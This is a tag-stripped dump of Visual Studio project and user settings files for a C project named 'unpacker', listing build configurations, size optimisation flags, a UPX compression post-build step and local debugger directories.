12 | WindowsLocalDebugger
13 |
14 |
15 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58
16 | WindowsLocalDebugger
17 |
18 |
19 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58
20 | WindowsLocalDebugger
21 |
22 |
--------------------------------------------------------------------------------
/unpacker/unpacker.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {e961312c-2568-49c1-8fc2-21d5ccf46256}
25 | rADR
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 | false
76 |
77 |
78 | true
79 | false
80 |
81 |
82 | false
83 |
84 |
85 |
86 | Level3
87 | true
88 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
89 | true
90 | Size
91 |
92 |
93 | Windows
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | false
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 | MinSpace
106 | AnySuitable
107 | Speed
108 | false
109 | CompileAsC
110 | None
111 | None
112 |
113 |
114 | Windows
115 | true
116 | true
117 | false
118 | NoErrorReport
119 |
120 |
121 | upx --best $(TargetPath)
122 |
123 |
124 |
125 |
126 | Level3
127 | true
128 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
129 | true
130 | Size
131 |
132 |
133 | Windows
134 | true
135 |
136 |
137 |
138 |
139 | Level3
140 | true
141 | true
142 | false
143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
144 | true
145 | MinSpace
146 | AnySuitable
147 | Speed
148 | false
149 | CompileAsC
150 | None
151 | None
152 |
153 |
154 | Windows
155 | true
156 | true
157 | false
158 | NoErrorReport
159 |
160 |
161 | upx --best $(TargetPath)
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
--------------------------------------------------------------------------------
/unpacker/unpacker.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | C:\Users\jules\Desktop\pack_2023-09-04_21-12-38
5 | WindowsLocalDebugger
6 |
7 |
8 | C:\Users\jules\Desktop\pack_2023-09-04_21-12-38
9 | WindowsLocalDebugger
10 |
11 |
--------------------------------------------------------------------------------